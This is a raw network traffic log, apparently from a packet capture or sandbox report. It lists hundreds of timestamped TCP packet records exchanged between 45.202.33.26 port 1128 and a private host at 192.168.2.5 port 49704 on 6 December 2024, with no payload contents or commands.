Dec 6, 2024 14:19:42.298157930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.298196077 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.299130917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.299230099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.299271107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.300055027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.300173998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.300215006 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.301106930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.301239014 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.301285028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.302004099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.302112103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.302153111 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.302998066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.303105116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.303147078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.304018974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.304138899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.304181099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.305022955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.305124998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.305166960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.305996895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.306114912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.306162119 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.307008982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.307137966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.307183027 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.307949066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.308134079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.308186054 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.308968067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.309113979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.309160948 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.309932947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.310079098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.310125113 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.310929060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.311043978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.311088085 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.311954021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.312068939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.312136889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.312899113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.313047886 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.313092947 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.313899994 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.314107895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.314155102 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.314896107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.314994097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.315035105 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.315870047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.316016912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.316068888 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.316868067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.316968918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.317012072 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.317903996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.318037033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.318079948 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.318862915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.319014072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.319060087 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.319875002 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.319989920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.320034981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.320879936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.320981979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.321027040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.321830034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.321974993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.322020054 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.322824001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.322922945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.322964907 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.323810101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.323955059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.323998928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.346430063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.346606970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.346652031 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.346860886 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.346988916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.347045898 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.347872019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.347985029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.348026037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.348831892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.399717093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.466515064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.466555119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.466597080 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.466916084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.466948986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.466993093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.468000889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.468070030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.468121052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.468961954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.469063997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.469115973 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.470760107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.470774889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.470813990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.470918894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.470982075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.471024990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.472306967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.472321987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.472362041 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.472889900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.472989082 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.473036051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.473855972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.474133015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.474195957 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.474855900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.475025892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.475173950 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.476499081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.476514101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.476557016 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.476882935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.476947069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.476985931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.477897882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.477999926 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.478055954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.478827953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.478974104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.479015112 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.479834080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.479913950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.479959011 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.480804920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.480911016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.480952978 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.481801033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.481873989 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.481916904 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.482789993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.482877016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.482918978 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.483766079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.483865023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.483907938 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.484766960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.484910011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.484961033 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.485846043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.485960960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.486005068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.486777067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.486921072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.486957073 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.487704039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.487848043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.487894058 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.488717079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.488887072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.488930941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.489718914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.489799023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.489844084 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.490709066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.490833044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.490883112 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.491679907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.491796017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.491837978 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.492677927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.492860079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.492902994 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.493793011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.493819952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.493891001 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.494680882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.494710922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.494755983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.495621920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.495742083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.495785952 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.496623039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.496735096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.496779919 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.497617960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.497720957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.497770071 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.498650074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.498795986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.498840094 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.499748945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.499866962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.499913931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.500611067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.500711918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.500761986 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.501638889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.501724958 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.501765013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.502697945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.502850056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.502887964 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.503747940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.503993034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.504036903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.504802942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.504968882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.505016088 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.505806923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.505873919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.505917072 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.506874084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.506930113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.506968975 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.507814884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.507991076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.508039951 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.508908033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.509083986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.509129047 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.509833097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.509875059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.509919882 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.510566950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.510658979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.510699987 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.511466980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.511584997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.511625051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.512454033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.512573004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.512615919 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.513443947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.513490915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.513533115 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.514524937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.514599085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.514638901 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.538423061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.538598061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.538652897 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.538911104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.539143085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.539184093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.539904118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.539994955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.540035009 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.540899992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.587205887 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.658550024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.658665895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.658730984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.658890963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.659018993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.659065962 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.660022020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.660111904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.660156012 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.660878897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.660955906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.661000013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.661923885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.661968946 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.662015915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.662894964 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.662971020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.663008928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.663888931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.663964033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.664004087 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.664937973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.665035963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.665076971 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.665837049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.666074991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.666119099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.666881084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.667016029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.667056084 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.667901993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.667994976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.668040037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.668837070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.668992043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.669039965 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.669790030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.669958115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.670002937 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.670808077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.670908928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.670955896 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.671781063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.671875954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.671916962 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.672780991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.672940016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.672988892 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.673820019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.673924923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.673965931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.674762011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.674892902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.674938917 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.675790071 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.675924063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.675970078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.676795006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.676878929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.676919937 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.677742958 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.677807093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.677851915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.678798914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.678894043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.678940058 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.679723978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.679845095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.679893017 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.680712938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.680754900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.680799007 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.681675911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.681819916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.681863070 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.682701111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.682825089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.682876110 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.683675051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.683825016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.683878899 CET	49704	1128	192.168.2.5	45.202.33.26
